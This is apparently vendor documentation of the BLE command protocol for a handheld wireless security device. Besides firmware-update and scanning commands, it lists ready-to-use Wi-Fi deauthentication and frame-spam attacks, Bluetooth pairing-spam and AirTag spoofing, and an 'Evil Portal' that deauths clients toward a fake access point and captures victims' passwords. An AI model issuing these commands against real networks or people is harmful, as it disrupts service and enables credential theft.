Home > 3rd-Party Integration > Commands Reference

Commands Reference

The full set of commands a client can send over the Command characteristic, organized by category. For each command this page documents the wire format, the expected RSP, and any DATA records the device emits while the operation is running.

Start anywhere, stop universally. Every long-running scan and attack is stopped with the same command: CMD:stopscan:. Every command receives RSP:<command>:OK within 100 ms whether or not the operation has actually begun. Treat RSP as “accepted” and watch STATUS: for the real state change. See GATT Reference for the full message-framing rules.


Conventions

Every command follows the same wire format:

CMD:<command>:[param=value[,param=value...]]

The trailing colon after the command name is always present, even when no parameters are supplied (CMD:stopscan:). Multi-value parameters use semicolons inside the value to separate entries (targets=AA:BB:CC:DD:EE:FF,6;11:22:33:44:55:66,11).

Typical reply flow for a long-running command:

-> CMD:<command>:...
<- RSP:<command>:OK                  (within 100 ms)
<- STATUS:2:<text>                   (operation actually begins)
<- DATA:...                          (live records, if applicable)
<- STATUS:1:Ready                    (after CMD:stopscan: or natural end)

A RSP:<command>:ERROR[:reason] instead of OK means the command was rejected. The reason text, when present, describes why.


Firmware Updates

Current release manifests live at https://firmware.biscuitshop.us/<product>/<Prod|Beta>/manifest.json. Each firmware entry includes size, the exact byte length of its OTA application .bin, and sha256, the lowercase SHA-256 of those exact bytes. Neither value describes the merged factory image. Treat missing or malformed integrity fields as a non-installable release.

Read the Status characteristic before constructing an OTA command. When it contains "otaProtocol":3, use standard RFC 4648 Base64 for both credential fields and include the update mode:

CMD:ota:start3,<ssidBase64>,<passwordBase64>,<prod|beta>,<normal|force>

An open network is represented by an empty password field. SSIDs must contain 1–32 UTF-8 bytes; passwords must be empty, 8–63 UTF-8 bytes, or exactly 64 hexadecimal characters. Base64 safely preserves commas and leading or trailing spaces.

Use normal for an ordinary update. Use force only for an explicit reflash; it bypasses the same-version shortcut but retains every integrity, image, read-back, boot-health, and rollback check.

Field Value
RSP RSP:ota:OK when accepted
Progress OTA:STATUS:<stage> notifications
Completion Reconnect, then verify the expected target revision and running partition

Send CMD:ota:cancel: to cancel an update before its verified boot partition has been committed. An accepted cancellation replies RSP:ota:OK:cancel, then emits c5_error:cancelled, wroom_error:cancelled, or wroom_uart_error:cancelled as the OTA:STATUS: stage. An idle or too-late cancellation replies RSP:ota:ERROR:not_cancellable on Pro/Ultra. A single-chip C5 can accept a late cancellation only if it safely restores the running slot; otherwise it replies RSP:ota:ERROR:committed.

When Status reports "otaProtocol":2, use CMD:ota:start2,<ssidBase64>,<passwordBase64>,<prod|beta>. If otaProtocol is absent, the backward-compatible form is CMD:ota:start,<ssid>,<password>[,beta]. Use it only for a nonempty password and credentials without commas, control characters, or leading/trailing spaces; otherwise tell the user that the older firmware cannot represent that network.

Keep the UI in Verifying through each installed chip’s reboot boundary. WROOM and single-chip C5 installs require BLE reconnection; a Pro/Ultra C5 can be verified with fresh reads over the uninterrupted WROOM BLE connection. For each chip that performed a real install, require the expected new slot when the pre-update partition was reported. If it was not reported, require a valid post-boot ota_0 or ota_1 value rather than guessing one. When lastOtaResult is present, wait for success; running means the new image is still completing its first-boot health gate, which requires 30 continuous healthy seconds. For protocol v3, c5_complete or wroom_complete without the matching no-op signal means a real install occurred. Require fresh partition and health-success proof even when a separately fetched manifest suggested no version change.

Public OTA progress notifications use these stable shapes:

Stage Notifications
C5 update c5_connecting, c5_retrying_start:<attempt>/<total>, c5_downloading, c5_retrying_manifest, c5_installing[:percent], c5_retrying_download[:detail], c5_already_current, c5_complete, c5_error:<code>
WROOM direct wroom_connecting, wroom_wifi_retry:<attempt>/<total>, wroom_downloading, wroom_retrying_manifest[:detail], wroom_installing[:percent], wroom_retrying_download[:detail], wroom_already_current, wroom_direct_error:<code>, wroom_error:<code>
WROOM recovery wroom_uart_fallback_starting, wroom_uart_fetching[:percent], wroom_uart_retrying:<phase>:<attempt>, wroom_uart_downloading[:percent], wroom_uart_installing, wroom_complete, wroom_uart_error:<code>

Control failures can appear as error:busy, error:boot_verifying, or error:timeout on Pro/Ultra; single-chip firmware prefixes its OTA failures as c5_error:<code>. wroom_direct_error:<code> announces a recoverable direct failure before recovery starts; wroom_error:<code> is terminal. Preserve the exact stage string for support diagnostics.

For a normal protocol-3 request, c5_already_current is the C5 no-op terminal. A single-chip client should finish without waiting for a reboot or partition change; a Pro/Ultra client continues into its WROOM phase. wroom_already_current similarly proves that no WROOM reboot is expected. Older command forms may receive a compatibility completion after the explicit no-op, but clients must treat *_already_current itself as terminal. A force request performs a real install even when the version matches. Keep the exact target version shown by the client; if the currently reported version differs, report manifest drift because the channel moved between fetches.

Stable C5 network codes include wifi_radio_init, wifi_ssid_not_found, wifi_authmode_unsupported, wifi_auth_failed, wifi_assoc_failed, wifi_dhcp_timeout, wifi_disconnected, and wifi_captive_portal. Preserve unknown lower-snake-case codes in diagnostics; other terminal codes identify the failed manifest, download, image-validation, read-back, or boot-selection stage.


WiFi Scanning

WiFi scans stream DATA: records as networks, stations, and frames are observed. Each scan is started with the listed command and stopped with CMD:stopscan:.

Access-point scan

CMD:scanap:
Field Value
RSP RSP:scanap:OK
STATUS STATUS:2:Scanning...
DATA DATA:AP:SSID,BSSID,Channel,RSSI,Security

Security is required and reports the network’s security type. Possible values: [OPEN], [WEP], [WPA_PSK], [WPA_ENTERPRISE], [WPA2_PSK], [WPA_WPA2_PSK], [WPA2_ENTERPRISE], [WPA3_PSK], [WPA3_ENTERPRISE], [WPA2_WPA3_PSK], [WPA2_WPA3_ENTERPRISE], [OWE], [WAPI_PSK], [UNDEFINED]. Personal and Enterprise remain distinct, and mixed tokens identify transition modes. OWE is encrypted, password-free Wi-Fi; ordinary open networks always include [OPEN]. Reject missing, empty, or incomplete bracketed security, and preserve complete unfamiliar bracketed tokens. Cipher details are not included in these labels.

Station scan

CMD:scansta:

Discovers stations associated with previously-scanned APs. Run scanap first.

Field Value
RSP RSP:scansta:OK
DATA DATA:STA:ClientMAC,ConnectedBSSID,Channel,RSSI

Combined AP and station scan

CMD:scanall:

Emits both DATA:AP: and DATA:STA: records on the same stream.

Probe-request sniff

CMD:sniffprobe:
Field Value
DATA DATA:PROBE:ClientMAC,RequestedSSID,Channel,RSSI

Empty RequestedSSID indicates a broadcast probe.

Beacon sniff

CMD:sniffbeacon:
Field Value
DATA DATA:BEACON:SSID,BSSID,Channel,RSSI,Security

Deauth sniff

CMD:sniffdeauth:
Field Value
DATA DATA:DEAUTH:SourceMAC,DestMAC,BSSID,Channel,RSSI,Type

Type is deauth or disassoc. Broadcast destination FF:FF:FF:FF:FF:FF typically indicates an active attack.

Packet statistics

CMD:packetcount:
Field Value
DATA DATA:STATS:Beacons,Probes,Deauths,Data,EAPOL,MinRSSI,MaxRSSI

Updates every five seconds. Counters are cumulative since the scan started.

Pwnagotchi detection

CMD:sniffpwn:
Field Value
DATA DATA:PWN:Name,MAC,Channel,RSSI,Identity,Pwnd

Identity is the literal string pwnagotchi; Pwnd is the network-capture count the device claims.

Pineapple detection

CMD:sniffpinescan:
Field Value
DATA DATA:PINE:SSID,MAC,Channel,RSSI,DetectionType

DetectionType: SUSP_OUI, TAG+SUSP_CAP, or OTHER.

Channel analyzer

CMD:channelanalyze:
Field Value
DATA DATA:CHANACT:...

Channel-activity samples emitted every 500 ms.


WiFi Attacks

All WiFi attacks share CMD:attack:type=<attack>[,...], return RSP:attack:OK, and emit DATA:ATTACK:<type>,PacketsSent,TargetCount,DurationSeconds every two seconds while running. Stop with CMD:stopscan:.

Deauthentication

CMD:attack:type=deauth,mode=<basic|targeted|manual>,targets=<list>
Mode Target format (one entry; semicolons separate multiple)
basic BSSID,Channel. Broadcasts deauth to the AP.
targeted StationMAC,APBSSID,Channel. Deauths a specific station.
manual SourceMAC,DestMAC,Channel. Custom source and destination.

Maximum 25 targets per command. Band is inferred from channel (1-14 = 2.4 GHz, 36+ = 5 GHz); mixed-band lists are allowed.

DATA: DATA:ATTACK:deauth,PacketsSent,TargetCount,DurationSeconds

Beacon spam

CMD:attack:type=beacon,mode=<random|list|aplist|funny>[,ssids=SSID1;SSID2;...]
Mode Behavior
random Continuously generated random SSIDs
list Broadcasts the SSIDs in the ssids parameter
aplist Clones the SSIDs in the ssids parameter
funny Built-in humorous SSID list

If an SSID contains a comma, replace it with _ before sending.

DATA: DATA:ATTACK:beacon,BeaconsSent,SSIDCount,DurationSeconds

Rick Roll

CMD:attack:type=rickroll

Beacon spam with built-in Rick Astley lyrics as SSIDs. DATA matches beacon spam with SSIDCount=8.

Probe-request spam

CMD:attack:type=probe,targets=SSID,BSSID,Channel;SSID,BSSID,Channel;...

DATA: DATA:ATTACK:probe,ProbesSent,TargetCount,DurationSeconds

Bad message

CMD:attack:type=badmsg[,targeted=true],targets=StationMAC,APBSSID,Channel,APSSID;...

Sends malformed association frames. targeted=true marks targets explicitly; default is broadcast to all provided stations.

DATA: DATA:ATTACK:badmsg,PacketsSent,TargetCount,DurationSeconds

Association sleep

CMD:attack:type=sleep[,targeted=true],targets=StationMAC,APBSSID,Channel,APSSID;...

Sends association frames with power-management flags to force stations into power-saving mode. Same parameter shape as badmsg.

DATA: DATA:ATTACK:sleep,PacketsSent,TargetCount,DurationSeconds


Bluetooth Scanning

All BT scans return RSP:sniffbt:OK (or RSP:sniffskim:OK) followed by STATUS:2:Scan started: <type>. Stop with CMD:stopscan:.

General BT discovery

CMD:sniffbt:type=all

The type parameter may be omitted (CMD:sniffbt: is equivalent).

Field Value
DATA DATA:BT:DeviceName,MAC,RSSI,Type[,PayloadHex][,SF=XX]

Type is BLE, Classic, or Unknown. Current firmware may append a nonzero SF=XX BLE-family hint. When no payload is present, an empty fifth field comes before the hint, for example DATA:BT:Popup,MAC,-62,BLE,,SF=01. The bit definitions and parser guidance are in Wardrive Integration.

AirTag scan

CMD:sniffbt:type=airtag
Field Value
DATA DATA:BT:AirTag,MAC,RSSI,BLE,PayloadHex[,SF=XX]

PayloadHex is the 22-byte public-key advertisement that uniquely identifies the AirTag across MAC rotations. Store this if you intend to spoof the AirTag later.

Flipper Zero scan

CMD:sniffbt:type=flipper
Field Value
DATA DATA:BT:FlipperName,MAC,RSSI,BLE

Flock scan

CMD:sniffbt:type=flock
Field Value
DATA DATA:BT:FlockName,MAC,RSSI,BLE

For the full Flock classification surface (including 2.4 GHz Wi-Fi-side matches), use CMD:wardriveall: instead. See Wardrive Integration.

Flock IE-fingerprint scan

Available on C5 firmware 1.5.8+; dual-radio models also require WROOM 1.5.7+.

CMD:flocksig:require_oui=<true|false>,band=<2.4|5|both>,full_sweep=<true|false>
Field Value
Response RSP:flocksig:OK or RSP:flocksig:ERROR,<reason>
DATA DATA:FLOCKSIG:MAC,RSSI,Channel,Method,FY1

All arguments are mandatory and invalid input leaves the current scan running. WIE4 means exact IE signature plus curated prefix; relaxed mode also emits non-prefix exact matches as experimental WIEC candidates. This isolated stream is not part of legacy Flock storage, reports, exports, rewards, notifications, or Node routing. Stop it with CMD:stopscan:. See Wardrive Integration for schedules and interpretation.

wardriveall also has an optional binary wardrive stream (opt-in) on a dedicated characteristic for higher throughput; the default remains the text DATA:* stream. See Binary wardrive (opt-in).

Credit-card skimmer scan

CMD:sniffskim:
Field Value
DATA DATA:BT:SkimmerSignature,MAC,RSSI,Type

Matches known Bluetooth modules commonly used in skimming devices (HC-05, HC-06, etc.).


Bluetooth Attacks

All BT attacks share CMD:attack:type=bt_<variant>, return RSP:attack:OK followed by STATUS:2:Attack started: bt_<variant>, and emit DATA:ATTACK:bt_<variant>,PacketsSent,VariantCount,DurationSeconds every two seconds. Stop with CMD:stopscan:.

Command Target / behavior
CMD:attack:type=bt_apple Spoofs Apple Continuity adverts (iOS pairing popup spam)
CMD:attack:type=bt_windows Spoofs Windows Swift Pair adverts
CMD:attack:type=bt_samsung Spoofs Samsung pairing adverts
CMD:attack:type=bt_google Spoofs Google Fast Pair adverts (Android)
CMD:attack:type=bt_flipper Spoofs Flipper Zero adverts
CMD:attack:type=bt_all Cycles through all five variants on a single dwell timer

AirTag spoof

CMD:attack:type=bt_airtag,payload=<PayloadHex>

Alternate identifiers:

Parameter Use
payload=<hex> Preferred. The 22-byte public key captured from a prior AirTag scan; works across MAC rotations
mac=AA:BB:CC:DD:EE:FF Looks up the payload by MAC in the device’s last-scan list
target=<index> Legacy index into the last-scan list

payload takes priority over mac, which takes priority over target.

DATA: DATA:ATTACK:bt_airtag,PacketsSent,1,DurationSeconds


Evil Portal

The evil-portal surface manages a small library of captive-portal HTML files stored on the device, runs the portal attack, and streams captured credentials in real time.

List local portals

CMD:portallist:
Field Value
RSP RSP:portallist:OK
DATA DATA:PORTALLIST:{"portals":[{"name":"...","file":"...","size":...},...]}

Fetch remote manifest

CMD:portalremote:ssid=<wifi>,password=<password>

Connects to the named Wi-Fi network and downloads the manifest of portals available on the upstream server.

Field Value
RSP RSP:portalremote:OK or RSP:portalremote:ERROR:WiFi connection failed
DATA DATA:PORTALLIST:{"files":[{"name":"...","filename":"..."},...]}

Download a portal

CMD:portaldownload:ssid=<wifi>,password=<password>,file=<Filename.html>
Field Value
RSP RSP:portaldownload:OK
STATUS STATUS:2:Connecting to WiFi..., then STATUS:3:Portal downloaded

Possible errors: WiFi connection failed, Portal not found on server, Storage full, Portal exceeds 30KB limit.

Delete a portal

CMD:portaldelete:file=<Filename.html>

RSP:portaldelete:OK or RSP:portaldelete:ERROR:Delete failed.

Start the attack

CMD:portalstart:ssid=<SSID>,bssid=<BSSID>,channel=<n>,file=<Filename.html>[,deauth=true]
Parameter Use
ssid SSID the fake AP will broadcast
bssid Target AP for the optional deauth
channel Wi-Fi channel to operate on
file Portal HTML file (must already be present locally)
deauth When true, deauths clients off the target AP to drive them toward the fake one
Field Value
RSP RSP:portalstart:OK
STATUS STATUS:2:Evil Portal active

Possible errors: Missing file parameter, Portal not found.

Stop the attack

CMD:portalstop:

RSP:portalstop:OK.

Captured credentials

CMD:portalcreds:
Field Value
RSP RSP:portalcreds:OK
DATA One DATA:CRED:portal_file,email,password line per stored entry

Captured credentials also arrive in real time as a victim submits a form. A DATA:CRED: line is emitted immediately whether or not the client has issued portalcreds.

Clear captured credentials

CMD:portalclearcreds:

RSP:portalclearcreds:OK or RSP:portalclearcreds:ERROR:Clear failed. Storage cap is 100 entries, FIFO. Oldest entries are evicted automatically.

Reset saved phone bonds

CMD:bondclearall:

Returns RSP:bondclearall:OK or RSP:bondclearall:ERROR. After OK, the Biscuit waits about 500 ms so the reply can arrive, disconnects, and resumes advertising without rebooting.

This clears every phone bond stored on the Biscuit. A BLE app cannot reliably remove the matching phone-side bond, so tell the user to forget the Biscuit in Bluetooth Settings before explicitly connecting again.


Universal stop

CMD:stopscan:

Stops any running scan, attack, wardrive, or evil-portal session.

Field Value
RSP RSP:stopscan:OK
STATUS STATUS:1:Ready (lands a few hundred ms after RSP)

Treat STATUS:1:Ready as the actual “operation finished” signal. Buffered DATA: records may still arrive between the RSP and the STATUS.